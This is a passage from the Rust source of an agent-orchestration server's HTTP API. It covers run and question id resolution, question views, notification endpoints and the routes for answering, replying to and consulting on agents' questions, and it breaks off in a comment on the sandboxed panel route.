8143                    if let Some(revs) = revs {
8144                        let payload = serde_json::json!({
8145                            "queue_rev": revs.0,
8146                            "runs_rev": revs.1,
8147                            "questions_rev": revs.2,
8148                            "talks_rev": revs.3,
8149                            "notifications_rev": revs.4,
8150                            "loop_rev": revs.5,
8151                        });
8152                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8153                            if tx.send(event).await.is_err() {
8154                                break;
8155                            }
8156                        }
8157                    }
8158                }
8159                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8160                    break;
8161                }
8162            }
8163        }
8164    });
8165
8166    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8167        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8168}
8169
8170/// Run ids under `runs`, newest first.
8171///
8172/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8173/// which reads the process-global home: the server has to be drivable against
8174/// a temp directory for any of this to be testable.
8175fn run_ids(runs: &FsPath) -> Vec<String> {
8176    let mut ids: Vec<String> = std::fs::read_dir(runs)
8177        .into_iter()
8178        .flatten()
8179        .flatten()
8180        .filter(|e| e.path().join("run.json").is_file())
8181        .map(|e| e.file_name().to_string_lossy().into_owned())
8182        .collect();
8183    // Ids start with a sortable timestamp.
8184    ids.sort_unstable_by(|a, b| b.cmp(a));
8185    ids
8186}
8187
8188/// Read one run's state from an explicit runs root.
8189fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8190    let path = runs.join(id).join("run.json");
8191    let body =
8192        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8193    let state: RunState =
8194        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8195    // The same migration `RunState::load` applies, so a record from the
8196    // previous schema reads here as it does everywhere else (an origin-less
8197    // run shows as "origin unknown") instead of vanishing from the phone the
8198    // moment the schema is bumped.
8199    run::migrate_schema(state)
8200}
8201
8202/// Runs on disk under `runs` whose state this build cannot parse - almost
8203/// always a schema bump, occasionally a run killed mid-write.
8204///
8205/// Exposed so every surface that reports on runs shares one count instead of
8206/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8207/// `magi doctor` calls this directly rather than guessing at the same number
8208/// a second way.
8209#[must_use]
8210pub fn runs_unreadable(runs: &FsPath) -> usize {
8211    run_ids(runs)
8212        .into_iter()
8213        .filter(|id| read_run(runs, id).is_err())
8214        .count()
8215}
8216
8217fn plain_record_id(id: &str) -> bool {
8218    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8219}
8220
8221/// Expand an id or short id to exactly one run id.
8222fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8223    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8224        return Ok(id.to_owned());
8225    }
8226    pick(run_ids(runs), id, "run")
8227}
8228
8229/// Expand an id or short id to exactly one task id.
8230fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8231    if plain_record_id(id) && queue.path_of(id).is_file() {
8232        return Ok(id.to_owned());
8233    }
8234    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8235    pick(ids, id, "task")
8236}
8237
8238/// A question as the phone reads it.
8239///
8240/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8241/// text already parsed into a node tree so the client never runs its own
8242/// markdown reader over agent-authored prose. A relative image path in it
8243/// resolves against this question's own panel asset route, which is the one
8244/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8245/// separate, sandboxed document, but `detail` is rendered inline in the
8246/// operator's own page, so an image reference in it may only ever point at
8247/// files magi itself already serves for this question.
8248#[derive(Debug, Serialize)]
8249struct QuestionView {
8250    can_answer: bool,
8251    /// Imported consent remains history even while its effect is uncertain.
8252    history_only: bool,
8253    choice_effects: std::collections::BTreeMap<String, String>,
8254    record_revision: String,
8255    #[serde(flatten)]
8256    question: Question,
8257    detail_md: Vec<md::Node>,
8258    posting_view: Option<PostingView>,
8259    /// Each thread turn's body, parsed; same order as `question.thread`.
8260    thread_bodies_md: Vec<Vec<md::Node>>,
8261    /// Each thread turn's deputy note, parsed (`None` for a turn without
8262    /// one); same order as `question.thread`.
8263    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8264    /// Is the ball in the agent's court right now?
8265    ///
8266    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8267    /// [`Question::say`] - so this is the one field that tells the phone to
8268    /// disable the answer controls and show "waiting for the agent" instead of
8269    /// a card the owner can act on. Computed rather than stored on
8270    /// [`Question`] itself, on the same reasoning as `waiting` on
8271    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8272    /// it here means the client never has to re-derive that rule.
8273    waiting_on_agent: bool,
8274    /// Who is waiting on this open question - see [`holder_of`]. Separate
8275    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8276    /// anyone is there to take it.
8277    holder: Option<&'static str>,
8278    /// Whether `magi serve` can start a follow-up agent for a conductor
8279    /// question at all: false when `daemon.max_deputies = 0` or the config is
8280    /// unreadable. Separate from `holder`, which says who is listening now.
8281    deputies_enabled: bool,
8282    /// All starts were spent and no live holder remains. Display-only: the
8283    /// final attempt increments `starts` before running under its lease.
8284    deputy_exhausted: bool,
8285    text_delivery: crate::question_delivery::Availability,
8286    /// `question.run` is a task id (conductor / triage questions), not a run
8287    /// id, so the UI links it to the task page.
8288    run_is_task: bool,
8289    /// The existing chat this question's task came from, including settled
8290    /// questions - see [`crate::consult::associated_talk`].
8291    origin_chat: Option<String>,
8292    /// `origin_chat` is closed; consulting reopens it first.
8293    origin_chat_closed: bool,
8294    /// Consultation eligibility is separate from navigation to the chat.
8295    can_consult_chat: bool,
8296}
8297
8298#[derive(Debug, Serialize)]
8299struct PostingView {
8300    before_md: Vec<md::Node>,
8301    after_md: Vec<md::Node>,
8302    fields: Vec<crate::github_text::ComparisonView>,
8303}
8304
8305fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8306    let comparison = question.posting_comparison.as_ref()?;
8307    if !comparison.matches_detail(&question.detail) {
8308        return None;
8309    }
8310    let mut ids = std::collections::BTreeSet::new();
8311    if comparison.fields.is_empty()
8312        || comparison
8313            .fields
8314            .iter()
8315            .flat_map(|f| &f.pairs)
8316            .any(|p| !ids.insert(p.id))
8317        || comparison
8318            .fields
8319            .iter()
8320            .flat_map(|f| &f.original_triggers)
8321            .any(|t| !ids.insert(t.id))
8322    {
8323        return None;
8324    }
8325    let fields = comparison
8326        .fields
8327        .iter()
8328        .map(|f| f.view(comparison.excerpt))
8329        .collect::<Option<Vec<_>>>()?;
8330    Some(PostingView {
8331        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8332        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8333        fields,
8334    })
8335}
8336
8337impl QuestionView {
8338    /// The view of `question`, reading who is waiting on it from `store`.
8339    ///
8340    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8341    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8342        let base = md::ImageBase::QuestionPanel {
8343            id: question.id.clone(),
8344        };
8345        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8346        Self {
8347            can_answer: question.can_answer(),
8348            history_only: store.held_reply(&question.id),
8349            choice_effects: question
8350                .choices
8351                .iter()
8352                .filter_map(|c| {
8353                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8354                })
8355                .collect(),
8356            record_revision: question_record_revision(&question),
8357            detail_md: md::to_nodes(&question.detail, &base),
8358            posting_view: posting_view(&question, &base),
8359            thread_bodies_md: question
8360                .thread
8361                .iter()
8362                .map(|t| md::to_nodes(&t.body, &base))
8363                .collect(),
8364            thread_notes_md: question
8365                .thread
8366                .iter()
8367                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8368                .collect(),
8369            deputy_exhausted: store.deputy_exhausted(&question),
8370            waiting_on_agent: question.waiting_on_agent(),
8371            holder,
8372            deputies_enabled: deputies_enabled(cfg, &question),
8373            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8374            run_is_task: question.run_names_task(),
8375            origin_chat: None,
8376            origin_chat_closed: false,
8377            can_consult_chat: false,
8378            question,
8379        }
8380    }
8381
8382    /// Fill `origin_chat` from the queue and the talks.
8383    fn with_origin(
8384        mut self,
8385        tasks: &[crate::queue::Task],
8386        talks: &[Talk],
8387        watches: &[crate::release_watch::WatchState],
8388    ) -> Self {
8389        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8390        self.can_consult_chat = consult.is_some();
8391        let talk =
8392            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8393        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8394        self.origin_chat = talk.map(|t| t.id);
8395        self
8396    }
8397}
8398
8399/// The config this repository resolves, or `None` when it cannot be read.
8400/// Discovering is git processes plus a config render, so a request that needs
8401/// it for many items takes it once and passes it down.
8402fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8403    Config::discover(repo, None).ok().map(|(c, _)| c)
8404}
8405
8406/// Can `magi serve` start a deputy for this question under `cfg`?
8407fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8408    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8409}
8410
8411/// The views `GET /api/questions` answers. `load` runs at most once, however
8412/// many questions there are, and not at all when there are none.
8413fn question_views(
8414    qs: Vec<Question>,
8415    store: &ask::Questions,
8416    load: impl FnOnce() -> Option<Config>,
8417) -> Vec<QuestionView> {
8418    if qs.is_empty() {
8419        return Vec::new();
8420    }
8421    let cfg = load();
8422    qs.into_iter()
8423        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8424        .collect()
8425}
8426
8427/// Who is honestly waiting on an open question right now: `"asker"` (the
8428/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8429/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8430/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8431/// up, or the question never had anyone listening (a conductor question or a
8432/// merge approval from before deputies, or not yet given one).
8433///
8434/// `None` for a question that is settled, and for one that is not an agent's
8435/// to wait on at all (a release notice).
8436fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8437    if !q.status.open() {
8438        return None;
8439    }
8440    if q.cwd.is_none()
8441        && q.deputy.is_none()
8442        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8443    {
8444        return crate::deputy::kind_of(q).map(|_| "nobody");
8445    }
8446    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8447        Some(_) if q.deputy.is_some() => "deputy",
8448        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8449        Some(_) => "asker",
8450        None => "nobody",
8451    })
8452}
8453
8454/// `GET /api/questions`.
8455///
8456/// Everything, not just the open ones: an answered question is the record of a
8457/// decision, and the phone is where the operator goes back to check what they
8458/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8459#[derive(serde::Serialize)]
8460struct DecisionView {
8461    id: String,
8462    task: String,
8463    run: Option<String>,
8464    chat: Option<String>,
8465    display: String,
8466    delivery_error: Option<String>,
8467    decision: crate::task_decision::Decision,
8468}
8469
8470impl DecisionView {
8471    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8472        Some(Self {
8473            id: inquiry.id,
8474            task: inquiry.task,
8475            run: inquiry.run,
8476            chat: inquiry.delivered_to,
8477            display: inquiry.display,
8478            delivery_error: inquiry.delivery_error,
8479            decision: inquiry.decision?,
8480        })
8481    }
8482}
8483
8484#[derive(serde::Serialize)]
8485struct DecisionsView {
8486    items: Vec<DecisionView>,
8487    unreadable: usize,
8488    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8489}
8490
8491// Read-only: list visits and inquiry links never create owner decisions,
8492// delivery receipts or effect acknowledgements.
8493async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8494    blocking(move || {
8495        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8496        let mut views: Vec<_> = items
8497            .into_iter()
8498            .filter_map(DecisionView::from_inquiry)
8499            .collect();
8500        views.sort_by_key(|view| {
8501            (
8502                view.decision.status == crate::task_decision::Status::Resolved,
8503                view.id.clone(),
8504            )
8505        });
8506        Ok(Json(DecisionsView {
8507            items: views,
8508            unreadable,
8509            migration_errors: crate::task_chat::migration_issues(&ui.home),
8510        }))
8511    })
8512    .await
8513}
8514
8515async fn decision_get(
8516    State(ui): State<Arc<Ui>>,
8517    Path(id): Path<String>,
8518) -> ApiResult<Json<DecisionView>> {
8519    blocking(move || {
8520        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8521        DecisionView::from_inquiry(inquiry)
8522            .map(Json)
8523            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8524    })
8525    .await
8526}
8527
8528async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8529    blocking(move || {
8530        let questions = ui.questions.list();
8531        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8532        Ok(Json(
8533            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8534                .into_iter()
8535                .map(|view| view.with_origin(&tasks, &talks, &watches))
8536                .collect(),
8537        ))
8538    })
8539    .await
8540}
8541
8542/// Question content and answer controls never wait for task/chat provenance.
8543async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8544    blocking(move || {
8545        Ok(Json(question_views(
8546            ui.questions.list(),
8547            &ui.questions,
8548            || deputy_config(&ui.repo),
8549        )))
8550    })
8551    .await
8552}
8553
8554fn question_record_revision(question: &Question) -> String {
8555    use std::hash::{Hash as _, Hasher as _};
8556    let mut hash = std::hash::DefaultHasher::new();
8557    serde_json::to_vec(question)
8558        .expect("serializable question")
8559        .hash(&mut hash);
8560    format!("{:016x}", hash.finish())
8561}
8562
8563#[derive(Serialize)]
8564struct QuestionOriginView {
8565    id: String,
8566    record_revision: String,
8567    origin_chat: Option<String>,
8568    origin_chat_closed: bool,
8569    can_consult_chat: bool,
8570}
8571
8572async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8573    blocking(move || {
8574        let questions = ui.questions.list();
8575        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8576        Ok(Json(
8577            questions
8578                .into_iter()
8579                .map(|question| {
8580                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8581                    let can_consult_chat = consult.is_some();
8582                    let talk = crate::consult::associated_talk_with_watches(
8583                        &tasks, &talks, &question, &watches,
8584                    );
8585                    QuestionOriginView {
8586                        record_revision: question_record_revision(&question),
8587                        id: question.id,
8588                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8589                        origin_chat: talk.map(|talk| talk.id),
8590                        can_consult_chat,
8591                    }
8592                })
8593                .collect(),
8594        ))
8595    })
8596    .await
8597}
8598
8599type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8600
8601/// Only the task ancestry and chats these questions actually reference. Run
8602/// mappings share the reconciled queue index; exact task references bypass it.
8603/// No question means no task/chat I/O, including no index reconciliation.
8604fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8605    fn task_for_run(
8606        ui: &Ui,
8607        index: &mut Option<Vec<Arc<TaskRelation>>>,
8608        run: &str,
8609        loaded: &HashMap<String, Task>,
8610    ) -> ApiResult<Option<Task>> {
8611        if !plain_record_id(run) {
8612            return Ok(None);
8613        }
8614        if index.is_none() {
8615            *index = Some(ui.indexed_tasks()?);
8616        }
8617        Ok(index
8618            .as_ref()
8619            .expect("loaded index")
8620            .iter()
8621            .find(|task| task.runs.iter().any(|id| id == run))
8622            .and_then(|task| {
8623                loaded
8624                    .get(&task.id)
8625                    .cloned()
8626                    .or_else(|| ui.queue.get(&task.id).ok())
8627            })
8628            .filter(|task| task.runs.iter().any(|id| id == run)))
8629    }
8630    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8631        plain_record_id(id)
8632            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8633            .flatten()
8634            .filter(|task| task.id == id)
8635    };
8636    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8637    let mut index = None;
8638    let mut tasks = HashMap::new();
8639    let mut talks = HashMap::new();
8640    for question in questions {
8641        for reference in crate::consult::question_task_refs(question, &watches) {
8642            let mut current = match reference {
8643                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8644                crate::consult::QuestionTaskRef::Run(id) => {
8645                    task_for_run(ui, &mut index, id, &tasks)?
8646                }
8647            };
8648            let mut seen = HashSet::new();
8649            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8650                let Some(task) = current.take() else {
8651                    break;
8652                };
8653                if !seen.insert(task.id.clone()) {
8654                    break;
8655                }
8656                let chat = task.chat_talk().map(str::to_owned);
8657                let followup = task.followup.clone();
8658                tasks.insert(task.id.clone(), task);
8659                if let Some(chat) = chat {
8660                    if plain_record_id(&chat)
8661                        && !talks.contains_key(&chat)
8662                        && let Ok(talk) = ui.talks.get(&chat)
8663                    {
8664                        talks.insert(chat, talk);
8665                    }
8666                    break;
8667                }
8668                let Some(followup) = followup else {
8669                    break;
8670                };
8671                current = match followup.origin_task {
8672                    Some(id) => direct_task(&id, &tasks),
8673                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8674                };
8675            }
8676        }
8677    }
8678    let mut tasks: Vec<Task> = tasks.into_values().collect();
8679    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8680    Ok((tasks, talks.into_values().collect(), watches))
8681}
8682
8683/// `GET /api/notifications`: not dismissed, newest first, with the unread
8684/// count so the badge and the list cannot disagree.
8685async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8686    blocking(move || {
8687        let items = ui.notices.list();
8688        let unread = items.iter().filter(|n| n.unread()).count();
8689        let items: Vec<_> = items
8690            .into_iter()
8691            .map(|n| {
8692                let question = crate::notices::answerable_question(&n, &ui.questions);
8693                let mut item = serde_json::to_value(n)?;
8694                item["answerable_question"] = serde_json::json!(question);
8695                Ok(item)
8696            })
8697            .collect::<anyhow::Result<_>>()?;
8698        Ok(Json(
8699            serde_json::json!({ "unread": unread, "items": items }),
8700        ))
8701    })
8702    .await
8703}
8704
8705fn notice_error(e: anyhow::Error) -> ApiError {
8706    // An unknown or malformed id and a vanished file are the same answer to
8707    // the phone: that notification is gone.
8708    ApiError::not_found(format!("{e:#}"))
8709}
8710
8711/// `POST /api/notifications/{id}/read`.
8712async fn notification_read(
8713    State(ui): State<Arc<Ui>>,
8714    Path(id): Path<String>,
8715) -> ApiResult<Json<Notice>> {
8716    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8717}
8718
8719/// `POST /api/notifications/{id}/dismiss`.
8720async fn notification_dismiss(
8721    State(ui): State<Arc<Ui>>,
8722    Path(id): Path<String>,
8723) -> ApiResult<Json<Notice>> {
8724    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8725}
8726
8727/// `POST /api/notifications/read-all`.
8728async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8729    blocking(move || {
8730        let changed = ui.notices.mark_all_read()?;
8731        Ok(Json(serde_json::json!({ "marked": changed })))
8732    })
8733    .await
8734}
8735
8736/// The body of `POST /api/questions/{id}/answer`.
8737///
8738/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8739/// a bad request rather than a guess: an answer magi invented is worse than a
8740/// question left open.
8741#[derive(Debug, Default, Deserialize)]
8742#[serde(default, deny_unknown_fields)]
8743struct NewAnswer {
8744    choice: Option<String>,
8745    text: Option<String>,
8746    talk: Option<String>,
8747    head: Option<String>,
8748}
8749
8750async fn question_answer(
8751    State(ui): State<Arc<Ui>>,
8752    Path(id): Path<String>,
8753    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8754) -> ApiResult<Json<QuestionView>> {
8755    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8756    let answer = match (body.choice, body.text) {
8757        (Some(c), None) => Answer::Choice(c),
8758        (None, Some(t)) => Answer::Text(t),
8759        (Some(_), Some(_)) => {
8760            return Err(ApiError::bad_request(
8761                "send either `choice` or `text`, not both",
8762            ));
8763        }
8764        (None, None) => {
8765            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8766        }
8767    };
8768
8769    blocking(move || {
8770        let id = resolve_question(&ui.questions, &id)?;
8771        let q = ui
8772            .questions
8773            .get(&id)
8774            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8775        if !q.can_answer() {
8776            // Answered from the terminal, or by another phone, in between the
8777            // list and the tap. The UI shows the recorded answer rather than an
8778            // error, so it needs the record, not just the status.
8779            return Err(ApiError::conflict(format!(
8780                "question {} is already {}",
8781                q.short(),
8782                q.status.as_str()
8783            )));
8784        }
8785        // `Question::answer` owns the rules - an unoffered choice, free text on
8786        // a multiple-choice question, an empty reply - so the route does not
8787        // restate them and cannot drift from the CLI's behaviour.
8788        let cfg = deputy_config(&ui.repo);
8789        let (q, ()) = ui
8790            .questions
8791            .update(&q.id, |r| {
8792                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8793                // Buttons retain their displayed chat/head binding. A direct
8794                // decision does not require a button or a prior persona offer.
8795                if r.routed_task.is_some()
8796                    && r.merge_target.is_some()
8797                    && merge
8798                    && (body.talk.is_some() || body.head.is_some())
8799                {
8800                    let talk_id = body
8801                        .talk
8802                        .as_deref()
8803                        .context("approval button requires its chat")?;
8804                    let head = body
8805                        .head
8806                        .as_deref()
8807                        .context("approval button requires the displayed head")?;
8808                    let talk = ui.talks.get(talk_id)?;
8809                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8810                    r.answer_chat_button(answer, talk_id, head)
8811                } else {
8812                    r.answer(answer)
8813                }
8814            })
8815            .map_err(ApiError::bad_request_from)?;
8816        let (tasks, talks, watches) =
8817            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8818        Ok(Json(
8819            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8820        ))
8821    })
8822    .await
8823}
8824
8825/// A dedicated status avoids the client's settled-question 409 handling.
8826fn question_text_error(e: anyhow::Error) -> ApiError {
8827    let reason = e
8828        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8829        .map(|e| e.reason);
8830    let error = ApiError::bad_request_from(e);
8831    if let Some(reason) = reason {
8832        ApiError {
8833            text_reason: Some(reason),
8834            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8835        }
8836    } else {
8837        error
8838    }
8839}
8840
8841/// The body of `POST /api/questions/{id}/say`.
8842#[derive(Debug, Deserialize)]
8843#[serde(deny_unknown_fields)]
8844struct NewSay {
8845    body: String,
8846}
8847
8848/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8849///
8850/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8851/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8852/// file, so there is no turn to serialize against and no
8853/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8854/// is a *different* process - the run parked behind `magi ask` - and picks
8855/// the reply up on its own poll of the very same file, same as an answer
8856/// does.
8857async fn question_say(
8858    State(ui): State<Arc<Ui>>,
8859    Path(id): Path<String>,
8860    body: std::result::Result<Json<NewSay>, JsonRejection>,
8861) -> ApiResult<Json<QuestionView>> {
8862    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8863    blocking(move || {
8864        let id = resolve_question(&ui.questions, &id)?;
8865        let q = ui
8866            .questions
8867            .get(&id)
8868            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8869        if !q.status.open() {
8870            // Same granularity as `question_answer`: answered or abandoned in
8871            // between the list and the tap is not this route's error to
8872            // explain any differently.
8873            return Err(ApiError::conflict(format!(
8874                "question {} is already {}",
8875                q.short(),
8876                q.status.as_str()
8877            )));
8878        }
8879        // `Question::say` owns the one rule that matters here - an empty
8880        // message tells the agent nothing - so the route does not restate it.
8881        let cfg = deputy_config(&ui.repo);
8882        let (q, ()) = ui
8883            .questions
8884            .update(&q.id, |r| {
8885                if body.body.trim().is_empty() {
8886                    return r.say(body.body);
8887                }
8888                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8889                r.say(body.body)
8890            })
8891            .map_err(question_text_error)?;
8892        let (tasks, talks, watches) =
8893            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8894        Ok(Json(
8895            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8896        ))
8897    })
8898    .await
8899}
8900
8901/// A disconnected request or a replacing listener cannot interrupt the short
8902/// transaction between persistence and detached worker publication.
8903async fn admitted<T: Send + 'static>(
8904    admission: AdmissionGuard,
8905    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8906) -> ApiResult<T> {
8907    tokio::spawn(async move {
8908        let result = work.await;
8909        drop(admission);
8910        result
8911    })
8912    .await
8913    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8914}
8915
8916/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8917/// came from. The question stays open: the chat agent answers it with `magi
8918/// answer`, or puts the decision to the owner in the conversation.
8919///
8920/// Answers 202 and runs the turn in the background, like every route that
8921/// spends agent calls. The text is queued as a draft of the existing talk, and
8922/// the turn goes through the talk's own gate and session; no seat or waiter is
8923/// started here.
8924async fn question_consult(
8925    State(ui): State<Arc<Ui>>,
8926    Path(id): Path<String>,
8927) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8928    let admission = ui.begin_admission()?;
8929    admitted(admission, async move {
8930        let (q, tasks, talks, watches, talk, cfg) = blocking({
8931            let ui = Arc::clone(&ui);
8932            move || {
8933                let id = resolve_question(&ui.questions, &id)?;
8934                let q = ui.questions.get(&id).map_err(|e| {
8935                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8936                })?;
8937                if !q.status.open() {
8938                    return Err(ApiError::conflict(format!(
8939                        "question {} is already {}",
8940                        q.short(),
8941                        q.status.as_str()
8942                    )));
8943                }
8944                let (tasks, talks, watches) =
8945                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8946                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8947                    return Err(ApiError::conflict(format!(
8948                        "question {} has no chat to ask",
8949                        q.short()
8950                    )));
8951                };
8952                // Read the config before `begin` saves anything: a failure here
8953                // must leave no consult record or draft behind, or a retry would
8954                // see `fresh == false` and never start the turn.
8955                let cfg = if q.consult.is_none() {
8956                    Some(Config::discover(&talk.repo, None)?.0)
8957                } else {
8958                    None
8959                };
8960                Ok((q, tasks, talks, watches, talk, cfg))
8961            }
8962        })
8963        .await?;
8964        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8965            .await
8966            .map_err(ApiError::from)?;
8967        let (view, reclaimed, submitted) = blocking({
8968            let ui = Arc::clone(&ui);
8969            move || {
8970                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8971                let claim = if fresh {
8972                    match ui.begin_queued_talk_turn(&talk.id)? {
8973                        Some(turn_guard) => {
8974                            let talk = ui.talks.get(&talk.id)?;
8975                            let cfg = match cfg {
8976                                Some(cfg) => cfg,
8977                                None => Config::discover(&talk.repo, None)?.0,
8978                            };
8979                            Some((talk, cfg, turn_guard))
8980                        }
8981                        None => None,
8982                    }
8983                } else {
8984                    None
8985                };
8986                let q = ui.questions.get(&q.id)?;
8987                let cfg = deputy_config(&ui.repo);
8988                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8989                    .with_origin(&tasks, &talks, &watches);
8990                Ok((view, claim, fresh.then_some(talk.id)))
8991            }
8992        })
8993        .await?;
8994        #[cfg(not(test))]
8995        {
8996            if let Some(id) = submitted {
8997                crate::chat_worker::spawn_turn(&ui.talks, &id)
8998                    .await
8999                    .map_err(ApiError::from)?;
9000            }
9001            drop(reclaimed);
9002        }
9003        #[cfg(test)]
9004        let _ = submitted;
9005        #[cfg(test)]
9006        if let Some((talk, cfg, turn_guard)) = reclaimed {
9007            let talks = ui.talks.clone();
9008            let id = talk.id.clone();
9009            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9010        }
9011        Ok((StatusCode::ACCEPTED, Json(view)))
9012    })
9013    .await
9014}
9015
9016/// Expand an id or short id to exactly one question id.
9017fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9018    if plain_record_id(id) && store.path_of(id).is_file() {
9019        return Ok(id.to_owned());
9020    }
9021    pick(
9022        store.list().into_iter().map(|q| q.id).collect(),
9023        id,
9024        "question",
9025    )
9026}
9027
9028/// `GET /api/questions/{id}/panel`.
9029///
9030/// The panel an agent wrote for this question, as `text/html` under
9031/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9032/// A question without one is a 404 rather than an empty page: the client
9033/// preflights this route with `HEAD` and must be able to tell "no panel" from
9034/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9035/// parent document so it cannot tell the difference by looking.
9036///
9037/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9038/// sanitises or minifies it - a sanitiser is a list of things someone thought
9039/// of, and the sandbox plus the CSP is a list of things that are allowed, which
